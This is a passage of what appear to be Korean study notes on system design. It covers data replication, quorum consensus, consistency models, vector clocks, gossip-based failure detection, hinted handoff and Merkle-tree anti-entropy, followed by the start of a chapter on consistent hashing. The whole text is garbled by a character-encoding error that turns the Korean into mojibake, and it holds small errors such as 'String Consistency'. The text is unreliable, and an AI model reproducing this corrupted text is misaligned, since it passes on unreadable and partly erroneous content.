์ž๋™์ ์œผ๋กœ - ๋‹ค์–‘์„ฑ(heterogeneity): ๊ฐ ์„œ๋ฒ„ ์šฉ๋Ÿ‰์— ๋งž๊ฒŒ ๊ฐ€์ƒ ๋…ธ๋“œ์˜ ์ˆ˜๋ฅผ ์กฐ์ •ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋‹ค์‹œ ๋งํ•ด, ๊ณ ์„ฑ๋Šฅ ์„œ๋ฒ„๋Š” ๋” ๋งŽ์€ ๊ฐ€์ƒ ๋…ธ๋“œ๋ฅผ ๊ฐ–๋„๋ก ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋‹ค. #### ๋ฐ์ดํ„ฐ ๋‹ค์ค‘ํ™” ๋†’์€ ๊ฐ€์šฉ์„ฑ๊ณผ ์•ˆ์ • ํ™•๋ณด๋ฅผ ์œ„ํ•ด ๋ฐ์ดํ„ฐ๋ฅผ N๊ฐœ์˜ ์„œ๋ฒ„์— ๋น„๋™๊ธฐ์ ์œผ๋กœ ๋‹ค์ค‘ํ™”(replication) ํ•  ํ•„์š”๊ฐ€ ์žˆ๋‹ค. N๊ฐœ์˜ ์„œ๋ฒ„๋ฅผ ์„ ์ •ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. - ์–ด๋–ค ํ‚ค๋ฅผ ํ•ด์‹œ ๋ง ์œ„์— ๋ฐฐ์น˜ํ•œ ํ›„, ๊ทธ ์ง€์ ์œผ๋กœ๋ถ€ํ„ฐ ์‹œ๊ณ„ ๋ฐฉํ–ฅ์œผ๋กœ ๋ง์„ ์ˆœํšŒํ•˜๋ฉฐ ๋งŒ๋‚˜๋Š” ์ฒซ N๊ฐœ์˜ ์„œ๋ฒ„์— ๋ฐ์ดํ„ฐ ์‚ฌ๋ณธ์„ ๋ณด๊ด€ํ•œ๋‹ค. - ๊ทธ๋Ÿฐ๋ฐ ๊ฐ€์ƒ ๋…ธ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋‹ค๋ณด๋ฉด ์„ ํƒํ•œ N๊ฐœ์˜ ๋…ธ๋“œ๊ฐ€ ๋Œ€์‘๋  ์‹ค์ œ ๋ฌผ๋ฆฌ ์„œ๋ฒ„์˜ ๊ฐœ์ˆ˜๊ฐ€ N๋ณด๋‹ค ์ž‘์•„์งˆ ์ˆ˜ ์žˆ๋‹ค. ์ด ๋ฌธ์ œ๋ฅผ ํ”ผํ•˜๋ ค๋ฉด ๋…ธ๋“œ๋ฅผ ์„ ํƒํ•  ๋•Œ ๊ฐ™์€ ๋ฌผ๋ฆฌ ์„œ๋ฒ„๋ฅผ ์ค‘๋ณต ์„ ํƒํ•˜์ง€ ์•Š๋„๋ก ํ•ด์•ผ ํ•œ๋‹ค. ๊ฐ™์€ ๋ฐ์ดํ„ฐ ์„ผํ„ฐ์— ์†ํ•œ ๋…ธ๋“œ๋Š” ์ •์ „, ๋„คํŠธ์›Œํฌ ์ด์Šˆ, ์ž์—ฐ์žฌํ•ด ๋“ฑ์˜ ๋ฌธ์ œ๋ฅผ ๋™์‹œ์— ๊ฒช์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์•ˆ์ •์„ฑ ๋‹ด๋ณด๋ฅผ ์œ„ํ•ด ๋ฐ์ดํ„ฐ์˜ ์‚ฌ๋ณธ์€ ๋‹ค๋ฅธ ์„ผํ„ฐ์˜ ์„œ๋ฒ„์— ๋ณด๊ด€ํ•˜๊ณ , ์„ผํ„ฐ๋“ค์€ ๊ณ ์† ๋„คํŠธ์›Œํฌ๋กœ ์—ฐ๊ฒฐํ•œ๋‹ค. #### ๋ฐ์ดํ„ฐ ์ผ๊ด€์„ฑ ์—ฌ๋Ÿฌ ๋…ธ๋“œ์— ๋‹ค์ค‘ํ™”๋œ ๋ฐ์ดํ„ฐ๋Š” ์ ์ ˆํžˆ ๋™๊ธฐํ™”๊ฐ€ ๋˜์–ด์•ผ ํ•œ๋‹ค. Quorum Consensus ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜๋ฉด ์ฝ๊ธฐ/์“ฐ๊ธฐ ์—ฐ์‚ฐ ๋ชจ๋‘์— ์ผ๊ด€์„ฑ์„ ๋ณด์žฅํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ด€๊ณ„๋œ ์ •์˜๋ถ€ํ„ฐ ๋ช‡๊ฐ€์ง€ ์‚ดํŽด๋ณด์ž - N: ์‚ฌ๋ณธ ๊ฐœ์ˆ˜ - W: ์“ฐ๊ธฐ์— ๋Œ€ํ•œ Quorum. ์“ฐ๊ธฐ ์—ฐ์‚ฐ์ด ์„ฑ๊ณต์œผ๋กœ ๊ฐ„์ฃผ๋˜๋ ค๋ฉด ์ ์–ด๋„ W๊ฐœ์˜ ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ ์“ฐ๊ธฐ ์—ฐ์‚ฐ์ด ์„ฑ๊ณตํ–ˆ๋‹ค๋Š” ์‘๋‹ต์„ ๋ฐ›์•„์•ผ ํ•œ๋‹ค. - R: ์ฝ๊ธฐ์— ๋Œ€ํ•œ Quorum. ์ฝ๊ธฐ ์—ฐ์‚ฐ์ด ์„ฑ๊ณต์œผ๋กœ ๊ฐ„์ฃผ๋˜๋ ค๋ฉด ์ ์–ด๋„ R๊ฐœ์˜ ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ ์‘๋‹ต์„ ๋ฐ›์•„์•ผ ํ•œ๋‹ค. W,R,N์˜ ๊ฐ’์„ ์ •ํ•˜๋Š” ๊ฒƒ์€ ์‘๋‹ต ์ง€์—ฐ๊ณผ ๋ฐ์ดํ„ฐ ์ผ๊ด€์„ฑ ์‚ฌ์ด์˜ ํƒ€ํ˜‘์ ์„ ์ฐพ๋Š” ์ „ํ˜•์ ์ธ ๊ณผ์ •์ด๋‹ค. - W=1 or R=1: ์ค‘์žฌ์ž๋Š” ํ•œ ๋Œ€ ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ์˜ ์‘๋‹ต๋งŒ ๋ฐ›์œผ๋ฉด ๋˜๊ธฐ ๋•Œ๋ฌธ์— ์‘๋‹ต์†๋„๊ฐ€ ๋น ๋ฅด๋‹ค - W>1 or R>1: ์‹œ์Šคํ…œ์˜ ์ผ๊ด€์„ฑ์€ ๋†’์•„์ง€์ง€๋งŒ, ์ค‘์žฌ์ž์˜ ์‘๋‹ต ์†๋„๋Š” ๊ฐ€์žฅ ๋А๋ฆฐ ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ์˜ ์‘๋‹ต์„ ๊ธฐ๋‹ค๋ ค์•ผ ํ•˜๋ฏ€๋กœ ๋А๋ ค์งˆ ๊ฒƒ์ด๋‹ค - W+R>N: Strong Consistency. ์ผ๊ด€์„ฑ์„ ๋ณด์ฆํ•  ์ตœ์‹  ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ง„ ๋…ธ๋“œ๊ฐ€ ์ตœ์†Œ ํ•˜๋‚˜๋Š” ๊ฒน์น ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๋ฉด์ ‘ ์‹œ์—๋Š” N, W, R ๊ฐ’์„ ์–ด๋–ป๊ฒŒ ์ •ํ• ๊นŒ? - R=1, W=N: ๋น ๋ฅธ ์ฝ๊ธฐ ์—ฐ์‚ฐ์— ์ตœ์ ํ™” ๋œ ์‹œ์Šคํ…œ - R=N, W=1: ๋น ๋ฅธ ์“ฐ๊ธฐ ์—ฐ์‚ฐ์— ์ตœ์ ํ™” ๋œ ์‹œ์Šคํ…œ - W+R>N: Strong Consistency ๋ณด์žฅ - W+R<=N: Strong Consistency ๋ณด์žฅ X ##### ์ผ๊ด€์„ฑ ๋ชจ๋ธ (Consistency Model) - String Consistency: ๋ชจ๋“  ์ฝ๊ธฐ ์—ฐ์‚ฐ์€ ๊ฐ€์žฅ ์ตœ๊ทผ์— ๊ฐฑ์‹ ๋œ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค. ๋‹ค์‹œ ๋งํ•ด์„œ ํด๋ผ์ด์–ธํŠธ๋Š” ์ ˆ๋Œ€ out-of-date ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด์ง€ ๋ชปํ•œ๋‹ค. - Weak Consistency: ์ฝ๊ธฐ ์—ฐ์‚ฐ์€ ๊ฐ€์žฅ ์ตœ๊ทผ์— ๊ฐฑ์‹ ๋œ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ˜ํ™˜ํ•˜์ง€ ๋ชปํ•  ์ˆ˜ ์žˆ๋‹ค. - Eventual Consistency: ์•ฝํ•œ ์ผ๊ด€์„ฑ์˜ ํ•œ ํ˜•ํƒœ, ๊ฐฑ์‹  ๊ฒฐ๊ณผ๊ฐ€ ๊ฒฐ๊ตญ์—๋Š” ๋ชจ๋“  ์‚ฌ๋ณธ์— ๋ฐ˜์˜(์ฆ‰, ๋™๊ธฐํ™”)๋˜๋Š” ๋ชจ๋ธ์ด๋‹ค. - ๊ฐ•ํ•œ ์ผ๊ด€์„ฑ์„ ๋‹ฌ์„ฑํ•˜๋Š” ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•์€ ๋ชจ๋“  ์‚ฌ๋ณธ์— ํ˜„์žฌ ์“ฐ๊ธฐ ์—ฐ์‚ฐ์˜ ๊ฒฐ๊ณผ๊ฐ€ ๋ฐ˜์˜๋  ๋•Œ๊นŒ์ง€ ํ•ด๋‹น ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•œ ์ฝ๊ธฐ/์“ฐ๊ธฐ๋ฅผ ๊ธˆ์ง€ํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์ƒˆ๋กœ์šด ์š”์ฒญ์˜ ์ฒ˜๋ฆฌ๊ฐ€ ์ค‘๋‹จ๋˜๊ธฐ ๋•Œ๋ฌธ์— ๊ณ ๊ฐ€์šฉ์„ฑ ์‹œ์Šคํ…œ์—๋Š” ์ ํ•ฉํ•˜์ง€ ์•Š๋‹ค. - ๊ฒฐ๊ณผ์  ์ผ๊ด€์„ฑ ๋ชจ๋ธ์„ ๋”ฐ๋ฅผ ๊ฒฝ์šฐ ์“ฐ๊ธฐ ์—ฐ์‚ฐ์ด ๋ณ‘๋ ฌ์ ์œผ๋กœ ๋ฐœ์ƒํ•˜๋ฉด ์‹œ์Šคํ…œ์— ์ €์žฅ๋œ ๊ฐ’์˜ ์ผ๊ด€์„ฑ์ด ๊นจ์–ด์งˆ ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ด ๋ฌธ์ œ๋Š” ํด๋ผ์ด์–ธํŠธ๊ฐ€ ํ•ด๊ฒฐํ•ด์•ผ ํ•œ๋‹ค. ##### ๋น„ ์ผ๊ด€์„ฑ ํ•ด์†Œ ๊ธฐ๋ฒ•: ๋ฐ์ดํ„ฐ ๋ฒ„์ €๋‹ ๋ฐ์ดํ„ฐ๋ฅผ ๋‹ค์ค‘ํ™”ํ•˜๋ฉด ๊ฐ€์šฉ์„ฑ์€ ๋†’์•„์ง€์ง€๋งŒ ์‚ฌ๋ณธ ๊ฐ„ ์ผ๊ด€์„ฑ์ด ๊นจ์งˆ ๊ฐ€๋Šฅ์„ฑ์€ ๋†’์•„์ง„๋‹ค. ๋ฒ„์ €๋‹๊ณผ ๋ฒกํ„ฐ ์‹œ๊ณ„๋Š” ๊ทธ ๋ฌธ์ œ๋ฅผ ํ•ด์†Œํ•˜๊ธฐ ์œ„ํ•ด ๋“ฑ์žฅํ•œ ๊ธฐ์ˆ ์ด๋‹ค. ๋ฒ„์ €๋‹์€ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณ€๊ฒฝํ•  ๋•Œ ๋งˆ๋‹ค ํ•ด๋‹น ๋ฐ์ดํ„ฐ์˜ ์ƒˆ๋กœ์šด ๋ฒ„์ „์„ ๋งŒ๋“œ๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•œ๋‹ค. ๋”ฐ๋ผ์„œ ๊ฐ ๋ฒ„์ „์˜ ๋ฐ์ดํ„ฐ๋Š” ๋ณ€๊ฒฝ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. ๋ฒกํ„ฐ ์‹œ๊ณ„๋Š” [์„œ๋ฒ„, ๋ฒ„์ „]์˜ ์ˆœ์„œ์Œ์„ ๋ฐ์ดํ„ฐ์— ๋งค๋‹จ ๊ฒƒ์ด๋‹ค. ์–ด๋–ค ๋ฒ„์ „์ด ์„ ํ–‰ ๋ฒ„์ „์ธ์ง€, ํ›„ํ–‰ ๋ฒ„์ „์ธ์ง€ ์•„๋ฆฌ๋ฉด ๋‹ค๋ฅธ ๋ฒ„์ „๊ณผ ์ถฉ๋Œ์ด ์žˆ๋Š”์ง€ ํŒ๋ณ„ํ•˜๋А๋ฐ ์“ฐ์ธ๋‹ค. ๋ฒกํ„ฐ ์‹œ๊ณ„๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์–ด๋–ค ๋ฒ„์ „ X๊ฐ€ ์–ด๋–ค ๋ฒ„์ „ Y์˜ ์ด์ „ ๋ฒ„์ „์ธ์ง€ (๋”ฐ๋ผ์„œ ์ถฉ๋Œ์ด ์—†๋Š”์ง€) ์‰ฝ๊ฒŒ ํŒ๋‹จํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ ๋ฒกํ„ฐ ์‹œ๊ณ„์—๋Š” ๋‘ ๊ฐ€์ง€ ๋ถ„๋ช…ํ•œ ๋‹จ์ ์ด ์žˆ๋‹ค. 1. ์ถฉ๋Œ ๊ฐ์ง€ ๋ฐ ํ•ด์†Œ ๋กœ์ง์ด ํด๋ผ์ด์–ธํŠธ์— ๋“ค์–ด๊ฐ€์•ผ ํ•˜๋ฏ€๋กœ ํด๋ผ์ด์–ธํŠธ ๋กœ์ง์ด ๋ณต์žกํ•ด์ง„๋‹ค. 2. [์„œ๋ฒ„, ๋ฒ„์ „] ์ˆœ์„œ์Œ์˜ ๊ฐœ์ˆ˜๊ฐ€ ๊ต‰์žฅํžˆ ๋นจ๋ฆฌ ๋Š˜์–ด๋‚œ๋‹ค. ํ•˜์ง€๋งŒ ๋‹ค์ด๋‚˜๋ชจ DB์— ๊ด€๊ณ„๋œ ๋ฌธํ—Œ์— ๋”ฐ๋ฅด๋ฉด ์•„๋งˆ์กด์˜ ์‹ค์ œ ์„œ๋น„์Šค์—์„œ ์ด๋Ÿฌํ•œ ๋ฌธ์ œ๊ฐ€ ๋ฒŒ์–ด์ง€๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•œ ์ ์ด ์—†๋‹ค๊ณ  ํ•œ๋‹ค. ๋”ฐ๋ผ์„œ ๋Œ€๋ถ€๋ถ„์˜ ๊ธฐ์—…์—์„œ ๋ฒกํ„ฐ ์‹œ๊ณ„๋Š” ์ ์šฉํ•ด๋„ ๊ดœ์ฐฎ์€ ์†”๋ฃจ์…˜์ผ ๊ฒƒ์ด๋‹ค. ##### ์žฅ์• ์ฒ˜๋ฆฌ ๋Œ€๋‹ค์ˆ˜ ๋Œ€๊ทœ๋ชจ ์‹œ์Šคํ…œ์—์„œ ์žฅ์• ๋Š” ํ”ํ•˜๊ฒŒ ๋ฒŒ์–ด์ง€๋Š” ์‚ฌ๊ฑด์ด๋‹ค. ๋”ฐ๋ผ์„œ ์žฅ์• ๋ฅผ ์–ด๋–ป๊ฒŒ ์ฒ˜๋ฆฌํ•  ๊ฒƒ์ธ์ง€๋Š” ๊ต‰์žฅํžˆ ์ค‘์š”ํ•œ ๋ฌธ์ œ๋‹ค ##### ์žฅ์• ๊ฐ์ง€ ๋ถ„์‚ฐ ์‹œ์Šคํ…œ์—์„œ๋Š” ํ•œ๋Œ€์˜ ์„œ๋ฒ„๊ฑฐ ์„œ๋ฒ„ A๊ฐ€ ์ฃฝ์—ˆ๋‹ค๊ณ  ํ•ด์„œ ๋ฐ”๋กœ ์žฅ์•  ์ฒ˜๋ฆฌ๋ฅผ ํ•˜์ง€ ์•Š๋Š”๋‹ค. ๋ณดํ†ต ๋‘ ๋Œ€ ์ด์ƒ์˜ ์„œ๋ฒ„๊ฐ€ ๋˜‘๊ฐ™์€ ์„œ๋ฒ„ A์˜ ์žฅ์• ๋ฅผ ๋ณด๊ณ ํ•ด์•ผ ํ•ด๋‹น ์„œ๋ฒ„์— ์‹ค์ œ๋กœ ์žฅ์• ๊ฐ€ ๋ฐœ์ƒํ–ˆ๋‹ค๊ณ  ๊ฐ„์ฃผํ•œ๋‹ค. ๋ฉ€ํ‹ฐ์บ์ŠคํŒ… ์ฑ„๋„์„ ๊ตฌ์ถ•ํ•˜๋ฉด ์„œ๋ฒ„ ์žฅ์• ์˜ ๊ฐ์ง€๋Š” ์†์‰ฌ์›Œ์ง€์ง€๋งŒ, ์„œ๋ฒ„๊ฐ€ ๋งŽ์„ ๋•Œ๋Š” ๋น„ํšจ์œจ์ ์ด๋œ๋‹ค. ๊ฐ€์‹ญ ํ”„๋กœํ† ์ฝœ ๊ฐ™์€ ๋ถ„์‚ฐํ˜• ์žฅ์•  ๊ฐ์ง€(decenteralized failure detect) ์†”๋ฃจ์…˜์„ ์ฑ„ํƒํ•˜๋Š” ํŽธ์ด ํšจ์œจ์ ์ด๋‹ค. ๊ฐ€์‹ญ ํ”„๋กœํ† ์ฝœ์˜ ๋™์ž‘ ์›๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค - ๊ฐ ๋…ธ๋“œ๋Š” ๋ฉค๋ฒ„์‹ญ ๋ชฉ๋ก์„ ์œ ์ง€ํ•œ๋‹ค. ๋ฉค๋ฒ„์‹ญ ๋ชฉ๋ก์€ ๊ฐ ๋ฉค๋ฒ„ ID์™€ heartbeat counter ์Œ์˜ ๋ชฉ๋ก์ด๋‹ค. - ๊ฐ ๋…ธ๋“œ๋Š” ์ฃผ๊ธฐ์ ์œผ๋กœ ์ž์‹ ์˜ ๋ฐ•๋™ ์นด์šดํ„ฐ๋ฅผ ์ฆ๊ฐ€์‹œํ‚จ๋‹ค - ๊ฐ ๋…ธ๋“œ๋Š” ๋ฌด์ž‘์›Œ๋กœ ์„ ์ •๋œ ๋…ธ๋“œ๋“ค์—๊ฒŒ ์ฃผ๊ธฐ์ ์œผ๋กœ ์ž๊ธฐ ๋ฐ•๋™ ์นด์šดํ„ฐ ๋ชฉ๋ก์„ ๋ณด๋‚ธ๋‹ค. - ๋ฐ•๋™ ์นด์šดํ„ฐ ๋ชฉ๋ก์„ ๋ฐ›์€ ๋…ธ๋“œ๋Š” ๋ฉค๋ฒ„์‹ญ ๋ชฉ๋ก์„ ์ตœ์‹  ๊ฐ’์œผ๋กœ ๊ฐฑ์‹ ํ•œ๋‹ค. - ์–ด๋–ค ๋ฉค๋ฒ„์˜ ๋ฐ•๋™ ์นด์šดํ„ฐ ๊ฐ’์ด ์ง€์ •๋œ ์‹œ๊ฐ„ ๋™์•ˆ ๊ฐฑ์‹ ๋˜์ง€ ์•Š์œผ๋ฉด ํ•ด๋‹น ๋ฉค๋ฒ„๋Š” ์žฅ์•  ์ƒํƒœ์ธ ๊ฒƒ์œผ๋กœ ๊ฐ„์ฃผํ•œ๋‹ค. ##### ์ผ์‹œ์  ์žฅ์•  ์ฒ˜๋ฆฌ sloppy quorum์€ strict quorum์„ ์™„ํ™”ํ•˜๋ฉฐ ๊ฐ€์šฉ์„ฑ์„ ๋†’์ธ๋‹ค. ์ •์กฑ์ˆ˜ ์š”๊ตฌ์‚ฌํ•ญ์„ ๊ฐ•์ œํ•˜๋Š” ๋Œ€์‹ , ์“ฐ๊ธฐ ์—ฐ์‚ฐ์„ ์ˆ˜ํ–‰ํ•  W๊ฐœ์˜ ๊ฑด๊ฐ•ํ•œ ์„œ๋ฒ„์™€ ์ฝ๊ธฐ ์—ฐ์‚ฐ์„ ์ˆ˜ํ–‰ํ•  R๊ฐœ์˜ ๊ฑด๊ฐ•ํ•œ ์„œ๋ฒ„๋ฅผ ๊ณ ๋ฅธ๋‹ค. ์ด ๋•Œ, ์žฅ์•  ์ƒํƒœ์ธ ์„œ๋ฒ„๋Š” ๋ฌด์‹œํ•œ๋‹ค. ๋„คํŠธ์›Œํฌ๋‚˜ ์„œ๋ฒ„ ๋ฌธ์ œ๋กœ ์žฅ์•  ์ƒํƒœ์ธ ์„œ๋ฒ„๋กœ ๊ฐ€๋Š” ์š”์ฒญ์€ ๋‹ค๋ฅธ ์„œ๋ฒ„๊ฐ€ ์ž ์‹œ ๋งก์•„ ๋ณด๊ด€ํ•˜๊ณ , ๊ทธ๋™์•ˆ ๋ฐœ์ƒํ•œ ๋ณ€๊ฒฝ์‚ฌํ•ญ์€ ํ•ด๋‹น ์„œ๋ฒ„๊ฐ€ ๋ณต๊ตฌ๋์„ ๋•Œ ์ผ๊ด„ ๋ฐ˜์˜ํ•˜์—ฌ ๋ฐ์ดํ„ฐ ์ผ๊ด€์„ฑ์„ ๋ณด์กดํ•œ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด ์ž„์‹œ๋กœ ์“ฐ๊ธฐ ์—ฐ์‚ฐ์„ ์ฒ˜๋ฆฌํ•œ ์„œ๋ฒ„์—๋Š” ๊ทธ์— ๊ด€ํ•œ hint๋ฅผ ๋‚จ๊ฒจ์ค€๋‹ค. ๋”ฐ๋ผ์„œ ์ด๋Ÿฐ ใ…ใ…ˆใ…‡์•  ์ฒ˜๋ฆฌ ๋ฐฉ์•ˆ์„ ๋‹จ์„œ ํ›„ ์ž„์‹œ ์œ„ํƒ(hinted handoff) ๊ธฐ๋ฒ•์ด๋ผ ๋ถ€๋ฅธ๋‹ค. ##### ์˜๊ตฌ ์žฅ์•  ์ฒ˜๋ฆฌ ์˜๊ตฌ ์ ์ธ ๋…ธ๋“œ์˜ ์žฅ์•  ์ƒํƒœ๋Š” anti-entropy ํ”„๋กœํ† ์ฝœ์„ ๊ตฌํ˜„ํ•˜์—ฌ ์‚ฌ๋ณธ๋“ค์„ ๋™๊ธฐํ™”ํ•˜์—ฌ ์ฒ˜๋ฆฌํ•œ๋‹ค. anti-entropy ํ”„๋กœํ† ์ฝœ์€ ์‚ฌ๋ณธ๋“ค์„ ๋น„๊ตํ•˜์—ฌ ์ตœ์‹  ๋ฒ„์ „์œผ๋กœ ๊ฐฑ์‹ ํ•˜๋Š” ๊ณผ์ •์„ ํฌํ•จํ•œ๋‹ค. ์‚ฌ๋ณธ ๊ฐ„์˜ ์ผ๊ด€์„ฑ์ด ๋ง๊ฐ€์ง„ ์ƒํƒœ๋ฅผ ํƒ์ง€ํ•˜๊ณ  ์ „์†ก ๋ฐ์ดํ„ฐ์˜ ์–‘์„ ์ค„์ด๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋จธํด ํŠธ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. - ๋จธํด ํŠธ๋ฆฌ - aka ํ•ด์‹œํŠธ๋ฆฌ - ๊ฐ ๋…ธ๋“œ์— ์ž์‹ ๋…ธ๋“œ๋“ค์— ๋ณด๊ด€๋œ ๊ฐ’์˜ ํ•ด์‹ ๋˜๋Š” ์ž์‹ ๋…ธ๋“œ๋“ค์˜ ๋ ˆ์ด๋ธ”๋กœ๋ถ€ํ„ฐ ๊ณ„์‚ฐ๋œ ํ•ด์‹œ๊ฐ’์„ ๋ ˆ์ด๋ธ”๋กœ ๋ถ™์—ฌ๋‘๋Š” ํŠธ๋ฆฌ - ๋Œ€๊ทœ๋ชจ ์ž๋ฃŒ ๊ตฌ์กฐ์˜ ๋‚ด์šฉ์„ ํšจ๊ณผ์ ์ด๋ฉด์„œ ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ ๊ฒ€์ฆํ•  ์ˆ˜ ์žˆ๋‹ค. ##### ๋ฐ์ดํ„ฐ ์„ผํ„ฐ ์žฅ์•  ์ฒ˜๋ฆฌ ๋ฐ์ดํ„ฐ ์„ผํ„ฐ ์žฅ์• ๋Š” ์ •์ „, ๋„คํŠธ์›Œํฌ ์žฅ์• , ์ž์—ฐ์žฌํ•ด ๋“ฑ ๋‹ค์–‘ํ•œ ์ด์œ ๋กœ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค. ์žฅ์• ์— ๋Œ€์‘ํ•˜๋ ค๋ฉด ๋ฐ์ดํ„ฐ๋ฅผ ์—ฌ๋Ÿฌ ๋ฐ์ดํ„ฐ ์„ผํ„ฐ์— ๋‹ค์ค‘ํ™”ํ•ด์•ผ ํ•œ๋‹ค. ``` chap5.md ```# 5์žฅ ์•ˆ์ • ํ•ด์‹œ ์„ค๊ณ„ (Consistent Hashing) - ์ˆ˜ํ‰์  ๊ทœ๋ชจ ํ™•์žฅ์„ฑ์„ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์š”์ฒญ ๋˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์„œ๋ฒ„์— ๊ท ๋“ฑํ•˜๊ฒŒ ๋‚˜๋ˆ„๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•˜๋‹ค. consistent hashing์€ ์ด ๋ชฉํ‘œ๋ฅผ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ๋ณดํŽธ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜๋Š” ๊ธฐ์ˆ ์ด๋‹ค. ## ํ•ด์‹œ ํ‚ค ์žฌ๋ฐฐ์น˜(rehash) ๋ฌธ์ œ N๊ฐœ์˜ ์บ์‹œ ์„œ๋ฒ„๊ฐ€ ์žˆ์„ ๋•Œ ์ด ์„œ๋ฒ„๋“ค์— ๋ถ€ํ•˜๋ฅผ ๊ท ๋“ฑํ•˜๊ฒŒ ๋‚˜๋ˆ„๋Š” ๋ณดํŽธ์ ์ธ ๋ฐฉ๋ฒ•์€ ์•„๋ž˜์™€ ๊ฐ™์€ ํ•ด์‹œ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ``` serverIndex = hash(key) % N (N์€ ์„œ๋ฒ„์˜ ๊ฐฏ์ˆ˜) ``` ์ด ๋ฐฉ์‹์€ server pool์˜ ํฌ๊ธฐ๊ฐ€ ๊ณ ์ •๋˜์–ด ์žˆ์„ ๋•Œ, ๊ทธ๋ฆฌ๊ณ  ๋ฐ์ดํ„ฐ ๋ถ„ํฌ๊ฐ€ ๊ท ๋“ฑํ•  ๋•Œ๋Š” ์ž˜ ๋™์ž‘ํ•œ๋‹ค. ํ•˜์ง€๋งŒ ์„œ๋ฒ„๊ฐ€ ์ถ”๊ฐ€๋˜๊ฑฐ๋‚˜ ์‚ญ์ œ๊ฐ€ ๋˜๋ฉด ๋ฌธ์ œ๊ฐ€ ์ƒ๊ธด๋‹ค. consistent hashing์€ ์„œ๋ฒ„ ์ˆ˜์˜ ๋ณ€ํ™”๋กœ ์ธํ•ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š” cache miss๋ฅผ ํšจ๊ณผ์ ์œผ๋กœ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ์ˆ ์ด๋‹ค. ## consistent hash ํ•ด์‹œ ํ…Œ์ด๋ธ”์˜ ํฌ๊ธฐ๊ฐ€ ์กฐ์ •๋  ๋•Œ ํ‰๊ท ์ ์œผ๋กœ k/n๊ฐœ์˜ ํ‚ค๋งŒ ์žฌ๋ฐฐ์น˜ ํ•˜๋Š” ํ•ด์‹œ ๊ธฐ์ˆ  (k๋Š” ํ‚ค์˜ ๊ฐœ์ˆ˜, n์€ ์Šฌ๋กฏ์˜ ๊ฐœ์ˆ˜)์ด๋‹ค. ์ด์™€ ๋‹ฌ๋ฆฌ ์ „ํ†ต์  ํ•ด์‹œ ํ…Œ์ด๋ธ”์€ ์Šฌ๋กฏ์˜ ์ˆ˜๊ฐ€ ๋ฐ”๋€Œ๋ฉด ๊ฑฐ์˜ ๋Œ€๋ถ€๋ถ„์˜ ํ‚ค๋ฅผ rehashingํ•œ๋‹ค. ### ํ•ด์‹œ ๊ณต๊ฐ„๊ณผ ํ•ด์‹œ ๋ง ํ•ด์‹œ ํ•จ์ˆ˜ f๋กœ๋Š” SHA-1์„ ์‚ฌ์šฉํ•˜๊ณ , ์ด ํ•จ์ˆ˜์˜ ์ถœ๋ ฅ ๊ฐ’ ๋ฒ”์œ„ x0, x1, ... , xn์ด๋‹ค. ์ด ๋ฒ”์œ„(๊ณต๊ฐ„)์„ ๊ทธ๋ฆผ์œผ๋กœ ํ‘œํ˜„ํ•˜์—ฌ ์–‘๋์„ ๊ตฌ๋ถ€๋ ค ์ ‘์œผ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ•ด์‹œ ๋ง์ด ํƒ„์ƒํ•œ๋‹ค. ![5-1](img/5-1.png) ### ํ•ด์‹œ ์„œ๋ฒ„ ํ•ด์‹œ ํ•จ์ˆ˜ f๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์„œ๋ฒ„ IP๋‚˜ ์ด๋ฆ„์„ ๋ง์œ„์˜ ์–ด๋–ค ์œ„์น˜์— ๋Œ€์‘์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค. ์•„๋ž˜ ๊ทธ๋ฆผ์€ 4๊ฐœ์˜ ์„œ๋ฒ„๋ฅผ ํ•ด์‹œ ๋ง ์œ„์— ๋ฐฐ์น˜ํ•œ ๊ฒฐ๊ณผ๋‹ค. ![5-2](img/5-2.jpeg) ### ํ•ด์‹œ ํ‚ค 